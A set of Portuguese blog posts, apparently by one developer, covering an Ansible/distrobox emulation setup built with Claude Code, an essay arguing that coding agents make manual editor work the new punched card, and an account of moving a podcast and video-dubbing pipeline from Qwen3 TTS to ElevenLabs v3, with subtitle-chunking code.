shadPS4 ainda está longe de ser um caso encerrado. O setup atual é focado em Driveclub, com config espelhada, patch XML e links dos sys_modules do firmware 11.00. E isso não foi por acaso: eu gosto muito de Driveclub. Aliás, é praticamente o único jogo ainda preso no PS4 que eu realmente queria conseguir rodar direito. Eu já vi vários vídeos no YouTube mostrando o jogo funcionando, mas até agora eu mesmo não consegui fazer isso rodar de forma satisfatória no Linux. Documentado em docs/driveclub-shadps4.md. A parte boa é que agora eu não dependo mais de memória muscular pra lembrar como lançar, com qual patch, em que pasta, com quais módulos. A parte ruim é que emulação de PS4 ainda é emulação de PS4. Não existe script que faça upstream amadurecer mais rápido. Se alguém souber como fechar essa configuração no Linux, olhe o projeto no GitHub e mande um PR.

Ridge Racer V tem um flickering de textura de carro documentado nas issues do PCSX2 (#3639, #13729). O renderer Hardware é aceitável pra jogo de corrida onde você não fica admirando parado o modelo. Software renderer resolve mas mata performance. Escolhi aceitar o flicker.

O ganho real não é só automação

Seria fácil resumir isso como “olha que legal, usei IA pra automatizar shell script”. Não é isso.

O ganho real é mais chato e mais importante: eu parei de gastar energia mental com trabalho braçal. Não precisei mais lembrar comando raro. Não precisei manter dezenas de abas com wiki, issue, fórum e README. Não precisei deixar meia dúzia de terminais espalhados dando tail em log enquanto tento lembrar que opção escondida de GUI o emulador insiste em regravar no primeiro boot. Eu passei a trabalhar em conversa.

Eu digo pro agente o objetivo. Ele procura os arquivos, lê os logs, encontra o formato certo do config, compara defaults, propõe correções, escreve script, valida paths, verifica UID/GID, confere symlink quebrado, gera wrapper, exporta launcher. Eu continuo responsável pelas decisões, claro. Mas parei de ser digitador de comando raro.

Esse é o ponto que mais me interessa no uso de coding agents em Linux. Eles reduzem dramaticamente a fricção de entrada. Muita gente desiste do desktop Linux não porque o sistema seja incapaz, mas porque a curva de tuning historicamente foi irritante demais. Ter um assistente capaz de ler docs, cruzar config, propor automação e executar com supervisão muda esse jogo.

Se você quiser reproduzir

O repo foi publicado pra isso:

git clone https://github.com/akitaonrails/distrobox-gaming.git
cd distrobox-gaming/ansible
ansible-galaxy collection install -r collections/requirements.yml
cp host_vars/localhost.yml.example host_vars/localhost.yml
$EDITOR host_vars/localhost.yml  # ajuste paths da sua máquina
ansible-playbook site.yml

Xenia é opt-in:

ansible-playbook install-xenia.yml

Leia o README.md e o docs/rebuild-runbook.md antes. Eu não distribuo ROM, BIOS, firmware nem chaves. O repo só detecta, linka e configura o que você já tem na sua própria máquina.

Se você preferir a rota com Claude Code

Minha recomendação é simples:

1. Comece pelo objetivo, não pelo comando. “Quero um distrobox Arch com GPU NVIDIA, home separado, ROMs read-only e Steam rw” é melhor do que despejar meia linha de shell sem contexto.
2. Peça sempre pra documentar o que está fazendo. Se der certo, promova o resultado a script ou role. Se não documentar, você acabou de fabricar uma gambiarra descartável.
3. Trabalhe em fases. Criação da box. Bootstrap. Config de emuladores. Export de launchers. Verificação. Foi exatamente assim que eu quebrei o problema.
4. Peça verificações objetivas. command -v, existência de arquivos, symlinks quebrados, UID/GID, path de ROM, áudio, GPU. A melhor automação é a que falha cedo.
5. Não use agente como papagaio de comando. Use como assistente técnico. Você continua revisando as decisões e mandando ajustar o rumo.

Pra mim, esse foi o ganho. Eu saí do zero pra uma máquina de emulação muito mais completa sem precisar customizar tudo na unha, em GUI, uma janela por vez. E, dessa vez, terminei com energia pra fazer o que eu queria desde o começo.

Jogar.

Vocês estão confundindo input de código com engenharia de software.

Não é a mesma coisa. Nunca foi.

Teve uma época em que programar significava saber converter números pra binário de cor e enfiar instrução direto em endereço de memória, bit por bit, na mão. Teve uma época em que programar significava saber organizar baralho de cartão perfurado, saber que ordem do deck estava certa, saber onde um furo errado destruiu a execução, e saber debugar visualmente sem a fantasia moderna de backspace infinito. Teve uma época em que programar de verdade significava saber 6502, Z80 e Assembly porque os computadores tinham tão pouco recurso que cada byte importava mesmo, não como figura de linguagem.

Painel frontal e switches: antes de editor, antes de IDE, antes de terminal confortável.

E olha, tem fase da computação que foi ainda pior que cartão perfurado. Esse vídeo abaixo mostra alguém programando num LGP-21, um dos computadores pessoais mais antigos do mundo (o segundo mais velho, depois do Bendix G15 dos anos 50). Começa a partir do minuto 5:

Imagina o que isso era: você digitava o programa em binário direto numa máquina de escrever, olhando pro acumulador, instrução por instrução, depois virava uma alavanca fisicamente pra executar, e o resultado era datilografado de volta em papel. A métrica não era framerate. Era caractere por minuto. Uma operação que hoje você faz num piscar de olho dentro de qualquer aplicativo, ali demorava horas de trabalho humano, digitando bit a bit, conferindo, testando, conferindo de novo.

É a mesma coisa que tá acontecendo com digitar código em editor de texto hoje versus agente de IA rodando no seu lugar. O jeito manual continua funcionando, do mesmo jeito que o painel do Altair continuou funcionando por anos depois que compilador ficou comum. Mas a ferramenta de escolha virou outra, e a diferença de velocidade e esforço é exatamente a mesma ordem de magnitude que separava o LGP-21 do editor de texto moderno. A nossa geração tá vendo essa transição acontecer em câmera lenta, e muita gente não quer ver.

Depois vieram compiladores melhores. Veio C. Vieram máquinas mais gordas, consoles 32/64 bits, PCs mais decentes, e Assembly deixou de ser o centro de tudo pra virar ferramenta de baixo nível, otimização localizada, rotina crítica, inicialização, driver, essas coisas. Ninguém sério olhou pra essa transição e falou: “pronto, agora acabou a programação porque o compilador escreve as instruções de máquina pra você.”

No século 21 veio a Web e empurrou uma geração inteira pra HTML, CSS e um monte de burocracia de markup que agrega pouco valor intelectual e exige muito trabalho braçal pra ficar minimamente certo. Eu continuo achando que a indústria estendeu demais a vida útil desse modelo. Por anos demais, programador virou operador de formulário glorificado, montador de CRUD, alinhador de div, sacerdote de framework de front-end que faz a mesma coisa com sintaxe diferente.

E aí a bolha dos anos 2010 piorou tudo.

Eu já escrevi sobre isso em RANT: IA acabou com os programadores? e também no 37 dias de Imersão em Vibe Coding. A bolha das startups, o dinheiro barato e a fome de contratação produziram uma legião de programadores muito ruins, saídos de bootcamps de dois meses e cursinhos prometendo salário de Google sem base, sem formação e sem profundidade. O mercado passou uma década fingindo que isso era normal. Não era. Era a mesma história de sempre: muito volume, pouco valor agregado, muita gente confundindo empregabilidade inflada com competência real.

E quando os layoffs começaram em 2022, isso não caiu do céu. Eu passei anos avisando que a bolha ia estourar. Tá tudo registrado na playlist EU AVISEI. A mensagem sempre foi a mesma: quando o dinheiro barato acabasse, a régua subiria de novo, e só teria chance quem tivesse feito o esforço de aprender Ciência da Computação de verdade. O novo ciclo econômico seria menos sobre volume de contratação e mais sobre eficiência. Foi exatamente o que aconteceu.

O que mudou de verdade

LLMs ficaram populares no fim de 2022. Isso é fato. Mas popular não é a mesma coisa que útil pra projeto sério.

Entre 2023 e 2024, eu já usava IA pra escrever código. Funcionava? Funcionava. Mas ainda era cheio de chatice: alucinação demais, loop agente demais, contexto se perdendo fácil demais, ferramenta quebrando demais, custo alto demais pra pouca confiabilidade. Era útil pro programador experiente que sabia segurar o bicho na coleira. Ainda não era ferramenta madura pra trabalho pesado do dia a dia.

Pra mim, a virada veio no fim de 2025. Foi quando a combinação de melhores modelos, prompt caching, tool calling decente, otimizações de inferência, janelas de contexto mais úteis na prática, e principalmente interfaces de agentes de verdade fizeram a coisa parar de parecer demo de conferência e começar a parecer ferramenta de trabalho.

Foi aí que Claude Code, Codex, OpenCode e similares deixaram de ser “autocomplete turbinado” e viraram outra categoria de interface.

Pra mim, Claude Code já virou o novo terminal. O editor ficou em segundo plano.

Eu falei disso também em Migrando meu Home Server com Claude Code. Eu simplesmente não tenho mais paciência pra gastar atenção com trabalho braçal de shell Linux quando o problema é mundano: instalar servidor, subir e organizar serviços Docker, endurecer firewall, revisar regra de segurança, ajustar parâmetro de kernel, auditar dmesg, caçar log de systemd, esse tipo de coisa. Eu mando o Claude fazer o grosso, eu reviso direção e risco. E, ironicamente, meus Linux nunca pareceram tão estáveis, rápidos e robustos.

Hoje, pra quem trabalha o dia inteiro construindo software, voltar pro combo cru de editor de texto mais terminal e fazer tudo manualmente começa a parecer regressão. Não porque digitar ficou impossível. Claro que não. Eu digitei código por décadas. O problema é outro: virou desperdício de atenção.

Se eu posso descrever uma intenção, pedir pra um agente vasculhar o código, editar vinte arquivos, rodar teste, compilar, corrigir, e me devolver uma proposta de mudança em minutos, por que exatamente eu vou sentir nostalgia de ficar digitando boilerplate na unha dentro do VS Code?

Não vou.

E aqui entra uma distinção que muita gente ainda não entendeu. Não é pra usar agente de código como se fosse extensão burra de editor, no estilo “gera esse arquivinho aqui” e você fica microgerenciando cada linha no canto da tela. Isso é usar Ferrari pra ir comprar pão na esquina. O ganho grande não vem de tratar Claude Code, Codex ou similares como autocomplete glorificado dentro do VS Code. O ganho vem quando você larga a mentalidade de operador de editor e passa a tratar o agente como pair programmer de verdade.

Em vez de agir como digitador profissional, você sobe um nível. Age mais como tech lead, product owner, QA, gerente do fluxo. Define a intenção, explica contexto, cobra critério, pede plano, manda rodar teste, pede refatoração, pede comparação de alternativas, pede revisão da própria mudança. Deixa o trabalho braçal do código com o agente e usa sua cabeça pra julgar direção, prioridade, risco e qualidade.

Mas tem um equilíbrio aí que eu já comentei em outros posts de Agile Vibe Coding. Não é pra largar o volante e deixar a LLM dar git push cega em tudo. E também não é pra cair no extremo oposto e virar fiscal de vírgula, nitpickando cada detalhe pequeno até o agente virar mais uma burocracia e matar o ganho de velocidade. Os dois extremos são ruins. Num extremo você terceiriza responsabilidade. No outro você estrangula produtividade.

O ponto certo do pêndulo é outro: usar práticas de XP e engenharia de verdade pra sustentar a velocidade. Refactoring contínuo. Testes. CI. Revisão. Feedback rápido. Código pequeno. Mudança incremental. Foi exatamente isso que eu vim documentando em posts como Do Zero à Pós-Produção em 1 Semana - Como usar IA em Projetos de Verdade e Software Nunca Está ‘Pronto’. O multiplicador de 10x não vem da mágica do modelo. Vem do modelo somado a processo decente.

A interface mudou. O que continua igual é a necessidade de julgamento.

VS Code é o novo cartão perfurado

É isso que o título quer dizer.

VS Code não “ficou ruim”. Não é isso. Cartão perfurado também não era “ruim” no contexto histórico dele. Foi uma evolução brutal em relação a digitar bit na mão ou religar fio. O ponto é que ele era o mecanismo da era dele pra informar instruções à máquina.

VS Code não é o inimigo. Ele só está virando o mecanismo de input da era anterior.

Hoje, editor de texto está virando isso de novo: um mecanismo de input que ainda funciona, ainda vai existir por muito tempo, mas que já não é mais o centro da atividade.

Se você nunca viu essa história das eras mais antigas da computação, eu já expliquei isso em Akitando #86 - O Computador de Turing e Von Neumann:

E se quiser relembrar por que 6502, Z80 e as máquinas antigas forçavam outro tipo de disciplina, revisita o Guia +Hardcore de Introdução à Computação e o episódio Aprendendo sobre Computadores com Super Mario (do jeito Hardcore++). Aquilo não era nostalgia de velho. Era pra mostrar que, em cada era, a interface muda, mas a máquina continua exigindo precisão.

Foi pra isso que boa parte do Akitando existiu: ensinar o que continua valendo quando a ferramenta da moda muda.

Aliás, vale lembrar uma coisa que muita gente esquece: os 146 vídeos do Akitando, mais de 96 horas de conteúdo, foram feitos justamente pra ensinar esse tipo de fundamento pra estudante de Ciência da Computação, júnior e pra quem queria deixar de ser apertador de framework. Eu gravei aquilo porque já via a indústria empurrando gente demais pra tarefa braçal e entendimento de menos. Ironicamente, agora que os agentes chegaram, esse acervo ficou mais relevante do que nunca.

Hoje a interface mudou de novo.

Antes você precisava saber como digitar a instrução. Depois você precisava saber como ordenar o deck. Depois você precisava saber como convencer o compilador. Depois você precisava saber como costurar framework, HTML, CSS, YAML, CI, container, cloud, ORM, fila, observabilidade e mais cinquenta camadas de parafernália.

Agora você precisa saber como orquestrar um agente.

E isso, de novo, não elimina fundamento. Só muda o ponto onde o trabalho braçal termina e o trabalho intelectual começa.

“Então não precisa mais aprender Ciência da Computação?”

Pelo contrário.

Agora precisa mais.

O sujeito sem base olha pro agente fazendo um SELECT * FROM table, vê o negócio funcionando localmente com 300 linhas na base fake, e acha que tá tudo certo. Em produção a query puxa um milhão de linhas, explode memória, degrada latência, derruba fila, congestiona conexão, e o cidadão não faz a menor ideia de por que “na minha máquina funciona”.

Esse é o problema real.

O agente não sabe o contexto do seu sistema do jeito que um engenheiro experiente sabe. Ele não sabe quais tabelas vão crescer dez vezes no próximo trimestre. Ele não sabe qual endpoint precisa responder em 80 ms e qual pode levar 2 segundos. Ele não sabe qual fluxo precisa de transação, qual precisa de idempotência, qual precisa de lock pessimista, qual precisa de compensação assíncrona, qual precisa de auditoria, qual não pode jamais vazar dado sensível.

Ele pode até acertar a sintaxe.

Só que sintaxe nunca foi a parte mais difícil.

Eu já falei isso no RANT: o Akita abriu as pernas pra IA??: o que IA faz muito bem é remover as tarefas mundanas. E graças a deus. Eu não entrei em computação pra virar operador de IDE. Eu não sinto nenhum apego romântico por ficar formatando HTML, brigando com CSS, montando CRUD de sempre, colando framework novo em stack velha, ou escrevendo pela centésima vez o mesmo monte de código de infraestrutura que qualquer máquina decente já deveria conseguir produzir.

Mas o que sobra depois que essa camada mundana some?

Sobra justamente a parte que separa amador de programador de verdade:

• modelagem de domínio
• arquitetura
• trade-off
• performance
• escalabilidade
• segurança
• observabilidade
• manutenção
• legibilidade
• custo operacional
• decisão de produto

Tudo isso continua existindo. Tudo isso continua sendo difícil. Tudo isso continua dependendo de julgamento.

O erro da turma que acha que programar era digitar

Tem gente realmente achando que, se a máquina escreve o código, então acabou a necessidade de saber software.

Isso é a mesma burrice de achar que compilador matou a necessidade de entender computador.

Não matou.

Só matou a necessidade de ficar escrevendo Assembly pra tudo.

E ainda bem.

Da mesma forma, agente de código não mata a necessidade de entender software. Mata a necessidade de você ser datilógrafo de sintaxe.

E ainda bem.

Aliás, tem uma ironia bonita aqui: durante anos a indústria vendeu a fantasia de que programar era “aprender framework”. Depois vendeu a fantasia de que programar era “aprender React”. Depois vendeu a fantasia de que programar era “aprender a stack do momento”. Agora vai vender a fantasia de que programar é “aprender prompt”.

Também não é.

Prompt é interface. Framework é interface. IDE é interface. Cartão perfurado era interface.

Programação continua sendo o ato de instruir uma máquina a computar algo útil dentro de restrições reais.

Quem entende isso sobrevive a qualquer mudança de ferramenta. Quem não entende vira operador da ferramenta da moda e, quando a moda muda, dança junto.

O que eu acho que vai acontecer com os júniors

Então vamos responder a pergunta original direito.

Os júniors não vão deixar de aprender.

Mas vão ter que aprender outra coisa.

Se o júnior de 2015 conseguia passar anos escondendo ignorância atrás de tarefa braçal de baixo valor, mexendo em view, ajustando CSS, montando endpoint bobo, copiando snippet de Stack Overflow e fazendo parecer que estava “produzindo”, esse esconderijo está acabando.

O júnior da era dos agentes vai subir de nível mais rápido ou vai ser exposto mais rápido. Não tem muito meio-termo.

Se ele usar agente e realmente estudar fundamento, ele vai conseguir testar hipótese mais rápido, ler mais código, comparar mais soluções, iterar mais, errar mais cedo e corrigir mais cedo. Vai aprender mais em menos tempo.

Mas se ele usar agente sem fundamento, ele vai só terceirizar a própria ignorância. Vai virar revisor incapaz de revisar. Vai aceitar patch que não entende. Vai aprovar decisão que não sabe medir. Vai confundir “passou no teste local” com “está pronto pra produção”.

Esse profissional é perigoso.

Muito mais perigoso do que o júnior antigo que ao menos era limitado pela própria lentidão.

O pós-bolha

A boa notícia é que isso vem logo depois do colapso da fase mais idiota da bolha de contratação.

Já passou da hora de o mercado parar de premiar trabalho intensivo e burro como se fosse competência. Já passou da hora de parar de tratar burocracia de stack como profundidade técnica. Já passou da hora de parar de confundir volume de commit com valor de engenharia.

Se a nova era elimina uma parte grande desse teatro, ótimo.

Num cenário pós-bolha, pós-bootcamp milagroso, pós-CSS como carreira, pós-CRUD como profissão, fundamento volta a ser o que sempre deveria ter sido: o ativo principal.

Quem entende sistema operacional, banco de dados, rede, estrutura de dados, compiladores, arquitetura de computador, profiling, debugging, concorrência, consistência, segurança e custo, vai usar agentes como exoesqueleto.

Quem não entende nada disso vai usar agente como muleta.

Exoesqueleto amplia força. Muleta só tenta esconder fraqueza.

“Mas isso não é sustentável”

Sempre aparece alguém com a mesma desculpa: “ah, mas eu não acho que isso seja sustentável, os data centers não vão aguentar, os preços estão subsidiados demais, não tem como isso continuar assim.”

E olha, essa pessoa não está completamente errada.

Só que isso não muda em nada o que eu tenho pra fazer amanhã de manhã.

Esse tipo de preocupação pode até render papo de bar ou thread no X, mas não me ajuda a decidir nada útil. Eu, você, nenhum de nós vai sentar com a diretoria da Anthropic ou da OpenAI pra redesenhar capex de data center, renegociar contrato de energia, decidir margem de subsídio ou planejar a próxima geração de GPU. Não tem nenhuma ação concreta que saia disso pra nós além de ficar repetindo que “um dia vai dar problema”.

É a mesma mentalidade de quem olhava pra internet nos anos 90 e falava: “vamos não usar muito isso, é lento demais, o limite é ridículo, o preço por kilobyte é absurdo, melhor esperar arrumarem.” Ou de quem, no começo dos anos 2000, olhava pra dados móveis e dizia: “2G é lento demais, é limitado demais, melhor não depender disso.” Por que exatamente você ia querer ser essa pessoa?

Ainda bem que OpenAI, Anthropic e o resto estão se estapeando e subsidiando pesado essa corrida. Eu estou aproveitando sem o menor pudor. Já torrei meu Claude Max 20x inteiro, já bati no limite de extra usage, já torrei meu plano do Codex, e subi pra Pro pra continuar usando neste fim de semana. Quem paga mensalidade e usa pouco está, na prática, me subsidiando pra eu usar tudo o que consigo. Eu não tenho a menor intenção de desacelerar. Por que você teria?

Se amanhã os preços mudarem, a infraestrutura apertar ou o jogo virar, eu reavalio amanhã. É assim que tecnologia sempre funcionou. Enquanto a janela está aberta, o racional não é frear por antecipação. O racional é aprender o máximo, extrair o máximo, ganhar vantagem enquanto o resto está ocupado explicando por que ainda não começou.

A decisão continua sendo humana

No fim do dia, nada do que importa mudou.

Alguém continua precisando olhar pro resultado e decidir:

• isso pode ir pra produção?
• isso aguenta carga?
• isso está legível?
• isso está seguro?
• isso está fácil de manter?
• isso conversa com o resto do sistema?
• isso resolve o problema certo?

Se a resposta for não, alguém continua precisando saber por que é não.

E mais importante: alguém continua precisando saber como corrigir.

É por isso que, na era dos agentes, conhecimento de base não ficou menos importante. Ficou mais caro errar sem ele.

VS Code é o novo cartão perfurado.

Não porque ficou inútil.

Mas porque finalmente estamos entrando numa era em que o ato de digitar código manualmente deixa de ser o centro da profissão.

E, honestamente? Já foi tarde.

IA reflete quem você é.

Se você é bom, ela acelera código bom.

Se você é ruim, ela acelera dívida técnica numa velocidade industrial.

IA não vai pegar programador ruim e transformar em programador bom. Nunca transformou, não transforma e não vai transformar.

Por isso fundamento importa mais agora do que antes.

O agente pode escrever. Quem continua precisando saber se aquilo presta é você.

Esse é o episódio do dia 6 de abril do podcast do The M.Akita Chronicles, já gerado com a nova pipeline da ElevenLabs v3. Assina o canal no Spotify pra não perder episódio novo desses.

Quando o Qwen3 TTS foi lançado, pelos idos de janeiro desse ano, todo mundo no Twitter/X e nas newsletters de IA gritou “ElevenLabs killer”. Tem artigo no Medium dizendo que é a primeira ameaça open source real à ElevenLabs. Tem post da byteiota dizendo que a clonagem de voz em 3 segundos bate a ElevenLabs. Tem análise no Analytics Vidhya falando que é o TTS open source mais realista já lançado. O consenso da internet entusiasta era: finalmente temos open source que faz frente à ElevenLabs, o jogo virou, é só questão de tempo.

Eu resolvi testar no meu próprio fluxo de produção, como de costume. Montei um pipeline inteiro em cima do Qwen3 TTS 1.7B pra gerar o podcast semanal do The M.Akita Chronicles, e documentei os bastidores no post sobre servir IA na nuvem. Quem quiser ver o detalhe de tempo de partida a frio, clonagem de voz, parâmetros de sampling que mudam de um modo pro outro, dá uma olhada nesse link que eu não vou repetir tudo aqui.

A pergunta desse post é diferente. Depois de quase dois meses rodando essa configuração em produção, com episódio indo ao ar toda segunda-feira, ontem à noite eu finalmente desliguei o Qwen3 e passei tudo pra ElevenLabs v3. Vou contar por quê.

O que não funcionou no Qwen3

Entre 15 de fevereiro e 30 de março eu fiz dezenas de commits ajustando o fluxo do podcast: prompts, parâmetros de sampling, ordem de geração, silêncios de referência na amostra de clone de voz, normalização de volume, pronúncia de siglas técnicas. Corrigir a voz do Marvin que cortava a primeira sílaba porque o áudio de referência começava sem silêncio inicial. Afinar a voz do Akita pra ela soar mais confiante e assertiva. Adicionar crossfade entre jingles de seção. Resolver a pronúncia errada de “podcast” pra ela não sair como “pódcast”. Mandar o gerador de roteiro preferir português a anglicismo gratuito pro TTS não engasgar. Cada um desses ajustes foi uma sessão de horas escutando áudio, gerando de novo, ajustando parâmetro.

O resultado ficou aceitável. “Aceitável” no sentido de que eu consegui publicar todo episódio sem ter que regravar nada à mão. Mas escutando com atenção, a voz do Qwen3 tem aquele jeito inconfundível de IA gerando áudio. Intonação meio morta, ritmo uniforme. Em trechos longos, você sente que é máquina falando. Serve pra ir pro ar, mas tá a quilômetros do que você escuta num podcast profissional feito por gente.

O problema pior foi a pronúncia em inglês. Meu podcast cobre notícias de tecnologia, então termos como “MCP”, “RAG”, “Claude Opus”, “GPT-5”, “open source” aparecem em toda conversa. O Qwen3 pegava esses termos e pronunciava eles com sotaque brasileiro, tipo “ó-péne-ssourssê”, coisa assim. Ficava ilegível pro ouvinte. A solução que eu tive que implementar foi mapear manualmente no prompt do LLM que gera o roteiro quais palavras em inglês trocar por equivalente em português. O prompt hoje tem uma seção inteira dividida entre “manter em inglês” (nomes próprios, marcas, termos já incorporados ao brasileiro) e “traduzir pro português” (anglicismo gratuito), mais ou menos assim:

**REPLACE with Portuguese** (common English words that have natural
Brazilian Portuguese equivalents):
- "update" → "atualização"
- "release" → "lançamento"
- "feature" → "recurso/funcionalidade"
- "deploy" → "implantação" or just "colocar em produção"
- "trade-off" → "dilema" or "escolha"
- "performance" → "desempenho"
- "default" → "padrão"
- "insight" → "percepção/sacada"
- "skills" → "habilidades"
- "approach" → "abordagem"
- "highlights" → "destaques"

Chamam isso aqui em casa de “limpar anglicismo pra o TTS não engasgar”. Engraçado porque eu não queria esse nível de restrição no meu roteiro. Queria que a voz simplesmente pronunciasse “update” quando o contexto natural fosse “update”. Como o modelo não consegue, tive que mutilar o vocabulário do podcast pra o resultado final ficar escutável. É uma solução paliativa, daquelas que você adiciona torcendo pra poder remover depois quando a tecnologia amadurecer.

A experiência com a ElevenLabs v3

Ontem à tarde abri uma conta na ElevenLabs, comprei o plano Pro (US$99/mês), e comecei a experimentar com o modelo eleven_v3, que saiu em fevereiro desse ano. Trinta minutos depois eu tinha uma prova de conceito rodando, e umas duas horas depois o sistema inteiro do podcast migrou. A diferença de esforço é abissal.

Os detalhes técnicos da migração ficaram documentados num doc interno do projeto, então vou resumir aqui o quadro comparativo que importa:

Repara no último ponto. O Qwen3 custa menos de dez centavos de dólar por episódio. A ElevenLabs custa quase trinta vezes mais. E mesmo assim vale a pena. Os outros pontos do quadro resolvem problemas que sugavam horas da minha semana. Eu não preciso mais escrever código pra escalar GPU na nuvem, não preciso esperar a máquina ligar toda vez, não preciso ficar de babá do modelo nem reconstruir a imagem Docker quando o peso muda. A operação virou uma linha de configuração.

E o mais interessante: as tags de emoção no meio do texto. O modelo v3 aceita marcadores tipo [sighs], [sarcastically], [dryly], [excited], e muda a entonação de acordo. Isso funciona em mais de 70 idiomas, incluindo português do Brasil. Isso transformou a geração do roteiro porque agora eu posso pedir ao LLM que monta o roteiro pra colocar tags emocionais nos momentos certos, o que dá uma vivacidade que o Qwen3 não conseguia entregar nem de longe. Um exemplo concreto do que sai no roteiro depois:

AKITA: Isso é simples. [dismissive] Quem ainda acredita que Bitcoin
vai morrer não tá prestando atenção.
MARVIN: [sighs] Mais uma semana, mais uma leva de devs confiando
cegamente em pacotes npm. Previsível.

Eu tenho até duas paletas separadas de tags, uma pro Akita (expressivo mas controlado, usa [excited], [dismissive], [emphatic]) e outra pro Marvin (estóico, só [sighs], [sarcastically], [tired], [dryly]). Isso tá tudo codificado nos prompts de geração do roteiro pro LLM saber que personagem pode usar o quê.

Sobre a voz do Marvin

Pros ouvintes que já se acostumaram com a voz do Marvin, fica tranquilo: eu fiz o clone dele na ElevenLabs usando a mesma amostra de áudio que eu já tinha usado pra treinar no Qwen3. É a mesma voz. Só que agora ela soa ainda melhor, porque o modelo da ElevenLabs captura nuance e prosódia que o Qwen3 não conseguia entregar.

Escuta aí e me conta

Pra provar que o papo é real, aqui tá o episódio de segunda-feira, dia 6 de abril, já gerado com a nova pipeline:

Se você já é ouvinte do podcast no Spotify e escutou os episódios anteriores feitos com Qwen3, compara e me diz nos comentários se você nota a diferença ou se pra você tanto faz. Eu tô curioso de saber quanto é percepção treinada minha escutando horas de áudio de TTS e quanto é diferença óbvia pra ouvinte casual.

A partir da próxima semana, todos os episódios do podcast serão gerados pela ElevenLabs v3. A newsletter já tá ligada na nova pipeline, os jobs agendados de pré-aquecer a GPU na RunPod foram desativados, e o código legado do Qwen3 fica no repositório como plano B caso um dia o v3 dê problema crônico. Em duas edições de arquivo eu volto pra ele. Provavelmente nunca vou ter que voltar.

A parte de dublar os vídeos do YouTube

Agora o gancho pra segunda metade desse post. No artigo de aniversário que eu publiquei mais cedo hoje, contei que o Claude Code traduziu quase metade do meu blog pra inglês num fim de semana. No mesmo espírito, fui atrás de dublar os vídeos do canal Akitando.

O canal tem 146 episódios, algo como 96 horas de conteúdo técnico em português, e mais de 500 mil inscritos. Eu já tinha as legendas traduzidas (um .srt curado por episódio), e o YouTube até oferece dublagem automática em inglês. Mas o resultado é tipo Google Translate de 2015: entende, passa a ideia, mas ninguém quer ouvir por muito tempo.

Testei as três abordagens de voz da ElevenLabs e só uma servia. Speech-to-Speech converte voz mas não traduz. A API de Dubbing traduz mas cria a voz sozinha, sem deixar forçar um clone específico. Só a Text-to-Speech resolvia: pegar meu .srt em inglês, mandar cada bloco pro endpoint TTS com a minha voz clonada, e montar o áudio alinhado com o vídeo original.

Só que ter o .srt traduzido não basta. Tradução crua de legenda não sobrevive ao TTS. Trechos com código-fonte, URLs, hashes hexadecimais, listas de comandos shell — o modelo entra em modo soletrar e o áudio sai com o dobro da duração esperada. Traduções longas demais estouram a janela de tempo e precisam ser condensadas pra a voz não ficar atropelada. SRTs truncadas precisam ser completadas. E a cada correção, rodar a pipeline de novo, escutar, achar o próximo problema, corrigir, repetir. O processo inteiro foi um ciclo de interrupções, correções manuais e re-runs — longe do “aperta o botão e sai dublado” que a gente imagina antes de meter a mão.

O grande desafio era o sotaque. Minha voz clonada foi treinada em português brasileiro, então quando tenta falar inglês o sotaque puxado aparece. A ElevenLabs tem a tag [American accent] que funciona em v3, mas em cima de uma voz treinada em outra língua ela é fraca — o sotaque brasileiro ainda saía por baixo. A saída foi treinar uma segunda voz minha, só em inglês. Gravei uns minutos no meu melhor sotaque americano, subi como Instant Voice Clone separado na minha conta, batizei de “Akita English”, e configurei o pipeline pra usar essa voz por padrão. O resultado sai mais natural, sem precisar de tag nenhuma, e a identidade de voz continua sendo a minha.

O teto honesto de qualidade da minha voz em inglês

Vamos ser francos. Eu sou brasileiro falando inglês, não sou nativo, e não tenho tempo nem paciência pra treinar pronúncia por horas. O clone só consegue ser tão bom quanto a amostra original — se a amostra é um não-nativo lendo um roteiro, o clone herda as imperfeições. Nenhum clone vai me fazer soar como “Fabio falando inglês perfeito”, porque esse som não existe pra o modelo imitar.

Pra chegar na versão que tá rodando, gravei cinco amostras de treino diferentes ao longo do dia, cada uma com ritmo e roteiro diferentes, e rodei um A/B ao vivo comparando com o original em português. Nenhuma soou como nativo, e nunca foi esse o objetivo. A meta realista era mais modesta: soar reconhecivelmente como eu, ler conteúdo técnico sem tropeçar, e aguentar um episódio inteiro sem cansar o ouvinte. O vencedor acabou sendo a primeira iteração, a “Akita English” original. Longe de perfeito, mas suficiente pra colocar no ar. Trocar no futuro é literalmente uma linha no arquivo de configuração.

O que mais me surpreendeu no caminho foi perceber que o ritmo da amostra importa mais que o timbre. O clone aprende a cadência de quem gravou: a iteração 5 ficou 25% mais lenta que a iteração 2 lendo exatamente o mesmo texto, só porque eu gravei aquela amostra mais devagar. Pra dublagem de vídeo tech, o alvo certo é ritmo de explicação de YouTube, vivo, uns 150 palavras por minuto. Nada de ritmo de audiobook.

Como eu alinho o áudio com o vídeo original

Um ponto não óbvio: texto em inglês tende a ser mais longo ao falar do que o português equivalente. Se você simplesmente gera o áudio de cada legenda e cola no tempo original, o dub vai se acumulando. Com 30 minutos de vídeo, você já tá vários segundos fora de sincronismo.

Minha abordagem foi atacar o problema em camadas. A primeira versão dividia o SRT em blocos menores, chamados de “chunks”. Cada chunk tinha no máximo 700 caracteres (pra v3 não alucinar) e só podia cortar em fim de frase, nunca no meio. Um algoritmo simples acumulava legendas num buffer até chegar perto do teto, depois voltava procurando a última legenda do buffer que terminava com ponto, exclamação ou interrogação, e fazia flush só até ali. O resto das legendas já acumuladas ficava pra compor o próximo chunk. Cada chunk guardava o timestamp de início e fim das legendas que cobria, pra a montagem saber exatamente onde posicionar aquele pedaço de áudio depois.

# Pra cada nova legenda que chega, checa se adicionar ela
# estouraria o limite do chunk atual.
for cue in cues:
    projected = buffer_char_len(buf) + len(cue.text)
    if projected > max_chars and buf:
        # Procura a última legenda do buffer que termina
        # com pontuação final ('.', '!', '?', '…').
        sentence_end = last_sentence_end_index(buf)
        if sentence_end is not None:
            buf = flush(buf, sentence_end, chunks)
        else:
            # Run-on maior que max_chars sem fim de frase.
            # Raro, mas acontece. Avisa e corta mesmo assim.
            log.warning("run-on sentence > %d chars — "
                        "splitting mid-sentence as a last resort",
                        max_chars)
            buf = flush(buf, len(buf), chunks)
    buf.append(cue)

    # Soft-break: se o buffer já tá pelo menos 60% cheio E
    # a legenda atual terminou uma frase, esvazia agora.
    # Mantém os chunks balanceados em torno de 60 a 100% do max.
    if cue.ends_sentence and buffer_char_len(buf) >= max_chars * 0.6:
        buf = flush(buf, len(buf), chunks)

